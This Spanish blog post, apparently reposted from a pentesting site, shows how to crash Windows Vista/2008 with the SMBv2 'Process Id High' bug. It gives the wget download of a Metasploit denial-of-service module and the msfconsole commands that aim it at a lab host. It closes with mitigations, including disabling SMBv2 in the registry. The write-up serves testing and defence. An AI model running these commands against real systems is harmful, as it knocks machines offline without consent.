Explotar BSoD con Metasploit

Como hace días salió el bug WinNuke (BSoD) de Windows 7 & Vista (el mítico pantallazo azul de la muerte), informado aquí:

Noticia:  Windows 7 permite ataques remotos que provocan un pantallazo azul (BSoD)

Modo de explotarlo: Como explotar el WinNuke (BSOD) de Windows 7 & Vista
 

Ahora www.pentester.es nos deleita y enseña como explotar la vulneravilidad con el metasploit:

La semana pasada todas las páginas webs de temática relacionada con la seguridad se hicieron eco de la publicación de una vulnerabilidad zero-day que afectaba a un mal procesamiento de los datos de entrada en el protocolo SMBv2, usado por Windows Vista y Windows 2008 para la utilización de recursos compartidos.

La vulnerabilidad consiste en la inserción de un caracter especial en el campo "Process Id High" de la cabecera SMB que provoca que la ejecución del proceso salte a una dirección de memoria fuera del espacio que tiene reservado, provocando un error y la inestabilidad del sistema, con el consiguiente pantallazo azul.

Según se ha publicado, ya existe un modulo del Metasploit Framework que aprovecha esta vulnerabilidad, así que no podiamos dejar la ocasión de probarlo, sin embargo, haciendo update de la metasploit como se suele hacer no aparece, así que tuvo que ser descargado "a mano":

# cd /pentest/exploits/framework3/modules/auxiliary/dos/windows/smb/
# wget http://trac.metasploit.com/export/7010/framework3/trunk/modules/auxiliary/dos/windows/smb/smb2_negotiate_pidhigh.rb

Ahora que ya lo tenemos ya en el directorio de nuestros exploits, vamos a la metasploit y a utilizarlo:

# cd /pentest/exploits/framework3/
# ./msfconsole
msf > use dos/windows/smb/smb2_negotiate_pidhigh
msf auxiliary(smb2_negotiate_pidhigh) > show options
Module options:

Name           Current Setting      Required      Description
----           ---------------      --------      -----------
OFFSET         65535                yes           The function table offset to call
RHOST                               yes           The target address
RPORT          445                  yes           The target port

msf auxiliary(smb2_negotiate_pidhigh) > set RHOST 172.16.24.141
RHOST => 172.16.24.141
msf auxiliary(smb2_negotiate_pidhigh) > exploit
[*] Auxiliary module execution completed

Como podemos ver, tenemos un bonito pantallazo azul, la máquina se reinicia y vuelve a arrancar.

En el caso de los Windows Vista puede que la solución para protegernos de esta vulnerabilidad sea más sencilla, únicamente hay que activar el firewall personal del Windows o desactivar los recursos compartidos hasta que sea publicado el parche y pueda aplicarse. De hecho, ¿para qué necesita un Windows Vista (siempre un workstation de un usuario) ofrecer recursos compartidos? Si no se va a usar para nada dejadlo activado (el firewall), ya que, además de este riesgo, existen numerosos riesgos asociados a malware que se propaga a través de este servicio.

Sin embargo, el caso de los Windows 2008 es un poco más complicado, ya que en muchas ocasiones la organización va a requerir que estos servicios se sigan ofreciendo, como por ejemplo en los servidores de ficheros. Para estos casos, veamos como podemos protegernos mientras Microsoft publica el parche:

1) Ejecutamos "regedit".
2) Buscamos la siguiente clave de registro: HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters
3) Creamos una clave llamada "Smb2" de tipo REG_DWORD a la que le asignamos valor "0" (cero) para deshabilitar el uso del protocolo SMBv2.
4) Reiniciamos el equipo para que los cambios surtan efecto.

Una vez cambiada la clave de registro y reniciado el equipo, volvemos a repetir el proceso de explotación de manera idéntica, obteniendo los siguientes resultados:

Como podemos ver, el Windows Vista sige como una rosa (como se puede apreciar en la imagen), por lo que hemos mitigado el riesgo de exposición al ataque de DoS por medio de la desactivación a nivel de registro del protocolo SMB v2, en el cual reside la vulnerabilidad.

No he podido realizar las mismas pruebas en un Windows 2008 por no disponer de licencias, pero la clave sería la misma y el proceso idéntico, solo que con mucho más cuidado...

¿Alguien se anima a probarlo y contarnoslo? Por supuesto, en un sistema de test primero, y cuando haya que hacerlo en producción guardar un backup de las claves de registro antes de tocarlas por si algo saliera mal y hubiera que restaurar.

Fuente: http://www.pentester.es/

Author & Editor

Ingeniero, me gusta la cyberseguridad, la programación y el blockchain.